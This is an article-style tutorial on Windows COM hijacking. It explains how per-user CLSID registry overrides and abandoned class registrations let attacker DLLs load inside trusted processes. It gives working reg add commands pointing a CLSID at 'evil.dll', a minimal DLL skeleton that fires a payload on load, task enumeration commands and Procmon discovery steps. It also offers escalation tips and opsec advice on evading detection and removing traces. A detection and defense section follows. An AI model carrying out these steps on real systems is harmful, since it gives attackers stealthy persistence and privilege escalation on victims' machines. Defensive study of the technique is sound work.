Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
The Component Object Model (COM) is the decades-old binary interface standard that lets Windows components expose objects to one another regardless of the language they were written in. Every COM class is identified by a CLSID — a GUID — and the operating system resolves that CLSID to a server (a DLL or EXE) by reading the registry. Because the resolution is a registry lookup, whoever controls the right registry key controls which code the OS loads when a program instantiates that class. That is COM hijacking: redirecting a CLSID to an attacker-supplied server so that a legitimate application, scheduled task, or Explorer extension executes attacker code the next time it activates the object.
COM hijacking is popular for two reasons. First, it is stealthy persistence: the malicious code runs inside a trusted host process, triggered by ordinary system activity rather than by an autorun value that every triage tool inspects. Second, it can yield privilege escalation when a higher-privileged process — a SYSTEM service or an elevated task — loads a CLSID that the attacker can point at their own DLL. The technique’s real power comes from a subtle registry-precedence rule that lets an unprivileged user override a machine-wide class registration for their own session, without touching HKLM at all.
Attack Prerequisites
COM hijacking does not require administrative rights for the persistence case; it needs the ability to write the correct registry key and a CLSID that something will actually activate:
- Write access to a class-registration key — for user-scoped persistence,
HKCU\Software\Classes\CLSID\{...}(writable by the user by default); for machine-wide or escalation cases,HKLM\SOFTWARE\Classes\CLSID\{...}, which requires elevation. - A CLSID that gets activated — ideally one loaded frequently (a shell extension, a scheduled-task COM handler) or one that is abandoned (the registry references a server DLL/EXE that no longer exists on disk).
- A DLL the attacker can drop — a small in-process server exposing
DllGetClassObject, placed somewhere the user can write. - For escalation: a higher-privileged process that instantiates a CLSID whose registration the attacker can influence, or an abandoned per-user reference a privileged context reads.
How It Works
When code calls CoCreateInstance(CLSID_X, ...), the COM runtime looks up X under the Classes\CLSID hierarchy to find the server. In-process servers live under the InprocServer32 subkey (the default value is the DLL path, plus a ThreadingModel); out-of-process servers live under LocalServer32 (a full command line). The pivotal detail is registry virtualization for classes: HKEY_CLASSES_ROOT is a *merged* view of HKLM\SOFTWARE\Classes and HKCU\Software\Classes, and for a given CLSID the per-user hive wins. So an unprivileged user who creates HKCU\Software\Classes\CLSID\{X}\InprocServer32 overrides the machine-wide registration of {X} for every process running in that user’s session — no admin rights, no HKLM write.
Abandoned CLSIDs make this even cleaner. Uninstalled software, Windows components, and Office add-ins routinely leave CLSID registrations pointing at DLLs that are no longer present. When a host process tries to activate such a class, the load fails harmlessly today — but if an attacker supplies the missing DLL (or adds the missing per-user key), the class springs back to life running their code. Sysinternals Process Monitor finds these instantly: filter for RegOpenKey/RegQueryValue operations with result NAME NOT FOUND on paths ending in InprocServer32, correlated with a subsequent CreateFile on a non-existent DLL.
Beyond InprocServer32, several related keys extend the technique. TreatAs transparently redirects one CLSID to another. Shell extension points — ContextMenuHandlers, ShellIconOverlayIdentifiers, and column/preview handlers under HKCU\Software\Classes — cause explorer.exe to load the referenced CLSID automatically, which is why they are favored persistence anchors. And scheduled tasks can declare a COM handler action (a CLSID) instead of an executable; hijacking that CLSID makes the Task Scheduler service load attacker code on the task’s trigger, sometimes in a more privileged context.
Vulnerable Code / Configuration
The vulnerable state is simply a writable class key combined with an activated CLSID. The per-user override that requires no elevation looks like this — pointing an existing, frequently-loaded CLSID at a user-writable DLL:
:: User-scoped COM hijack — no admin rights required.
:: HKCU\Software\Classes\CLSID wins over HKLM for this user's session.
reg add "HKCU\Software\Classes\CLSID\{FBEB8A05-BEEE-4442-804E-409D6C4515E9}\InprocServer32" ^
/ve /d "C:\Users\Public\Libraries\evil.dll" /f
reg add "HKCU\Software\Classes\CLSID\{FBEB8A05-BEEE-4442-804E-409D6C4515E9}\InprocServer32" ^
/v ThreadingModel /d Apartment /f
TEXTThe DLL only needs to be a valid in-process COM server — even a minimal one whose DllMain runs the payload on load is sufficient, because the COM runtime loads the module before it even queries for the class factory. A skeletal server looks like:
// evil.dll — minimal in-proc COM server; payload fires at load time.
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
if (reason == DLL_PROCESS_ATTACH) {
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Payload, NULL, 0, NULL);
}
return TRUE;
}
// Exported so CoCreateInstance's factory lookup does not error out.
HRESULT WINAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
return CLASS_E_CLASSNOTAVAILABLE;
}
CFor scheduled-task-driven execution, the persistence anchor is a task whose action is a COM handler CLSID rather than a program. Discover these with schtasks or by reading the task XML, then hijack the referenced CLSID so the Task Scheduler loads your DLL on the trigger:
:: Enumerate tasks that call a COM handler (ClassId action).
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" /s /f ClassId
:: The task XML shows: <ComHandler><ClassId>{GUID}</ClassId></ComHandler>
:: Hijack {GUID} via the per-user or HKLM CLSID key as above.
TEXTWalkthrough / Exploitation
A reliable operator workflow starts with discovery. Run Process Monitor while the machine is used normally and capture the missing-server lookups — these are the abandoned CLSIDs that can be claimed without displacing any legitimate component:
:: Procmon filter recipe (set in the GUI or via a saved config):
:: Operation is RegOpenKey
:: Result is NAME NOT FOUND
:: Path ends with InprocServer32
:: Each hit = a CLSID whose server is missing and can be hijacked.
TEXTHaving chosen a CLSID that a target process activates, register the per-user override and drop the DLL. Then simply wait for — or induce — the activation. For a shell-extension anchor, restarting Explorer or logging back in triggers the load:
:: 1) Claim an abandoned/loaded CLSID for this user.
reg add "HKCU\Software\Classes\CLSID\{GUID}\InprocServer32" /ve /d "%PUBLIC%\evil.dll" /f
reg add "HKCU\Software\Classes\CLSID\{GUID}\InprocServer32" /v ThreadingModel /d Both /f
:: 2) Trigger: log off/on, or restart the host process.
taskkill /f /im explorer.exe & start explorer.exe
TEXTFor escalation rather than persistence, the target is a CLSID activated by a process running at higher integrity. If a SYSTEM service or an auto-elevating, Microsoft-signed process instantiates a class whose registration you can influence — for example an abandoned HKCU reference that a per-user privileged context reads, or an HKLM key made writable by a weak ACL — the same DLL now executes at that higher privilege. Validate the load with a benign beacon before weaponizing:
:: Confirm which process loaded the hijack DLL and at what integrity.
:: (Sysmon Event ID 7 = Image/DLL load; check the loading Image + User.)
Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational |
Where-Object { $_.Id -eq 7 -and $_.Message -match 'evil.dll' } |
Select-Object -First 1 TimeCreated, Message
TEXTThe escalation variant is opportunistic — it depends on finding a privileged activator you can influence — whereas the persistence variant is broadly reliable because the per-user precedence rule is by design. In both cases the malicious code runs inside a legitimate, often signed host process, which is the whole appeal.
Note: Not every CLSID is a good target. Classes marked with certain process-integrity or app-container restrictions will not load an arbitrary user DLL, and some frequently-activated CLSIDs belong to protected processes you cannot inject into. Favor abandoned in-proc servers (missing DLL) or shell extensions activated by
explorer.exe, which runs at the user’s integrity and readily loads the override.
Opsec: The per-user hijack writes to
HKCU\Software\Classes\CLSID, a location that EDR and Autoruns both inspect but that generates far less noise thanRunkeys or services. Reusing an *abandoned* CLSID (rather than displacing a live one) avoids breaking legitimate functionality and avoids the crash/telemetry that a hijack of an in-use class can produce. Cleaning up the key on objective completion removes the most durable indicator.
Detection and Defense
COM hijacks are registry writes followed by unusual DLL loads, both of which are observable with standard endpoint telemetry:
- Monitor CLSID registry writes — Sysmon Event ID 12/13/14 (registry key create/set/rename) on
\Software\Classes\CLSID\...\InprocServer32,LocalServer32, andTreatAs, especially underHKCU; a user writing a class-server path is rarely legitimate. - Correlate with image loads — Sysmon Event ID 7 (image loaded) showing a trusted host such as
explorer.exeortaskhostw.exeloading an unsigned DLL from a user-writable path (%APPDATA%,%PUBLIC%,%TEMP%). - Baseline and hunt abandoned CLSIDs — use Autoruns (which resolves COM hijacks and flags missing/unsigned servers) and OleViewDotNet to enumerate class registrations and spot per-user overrides of machine classes.
- Watch scheduled-task COM handlers — enumerate tasks using
ComHandleractions and alert on new CLSID handlers or hijacked existing ones. - Harden ACLs — ensure
HKLM\SOFTWARE\Classes\CLSIDsubkeys are not user-writable; weak ACLs here convert persistence into SYSTEM escalation. - Application allowlisting — WDAC/AppLocker DLL rules block the unsigned hijack DLL from loading in the first place, defusing the technique regardless of the registry change.
Real-World Impact
COM hijacking is a well-documented, actively-used tradecraft catalogued by MITRE ATT&CK as T1546.015 (Event Triggered Execution: Component Object Model Hijacking). It has appeared across commodity and targeted intrusions alike because it satisfies the two things an operator wants from persistence — it survives reboots and it hides inside trusted processes — while frequently requiring no more than user-level registry access. Research tools such as acCOMplice and OleViewDotNet were built specifically to enumerate the vast attack surface of registered classes, and the abandoned-CLSID problem is endemic on any long-lived Windows install where software has come and gone. Its durability in the wild is a direct consequence of the merged-hive precedence rule being a designed feature, not a bug.
Conclusion
COM hijacking turns a registry precedence rule into stealthy, reboot-surviving code execution and, opportunistically, into privilege escalation. The attack surface is enormous because every installed component registers CLSIDs and uninstalled ones leave them behind. Defenders should treat writes to Classes\CLSID server keys — particularly per-user overrides and new InprocServer32 values pointing at unsigned DLLs in writable directories — as high-priority signals, tighten ACLs on the HKLM class hierarchy, and lean on DLL allowlisting so that even a successful registry hijack has nothing valid to load.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments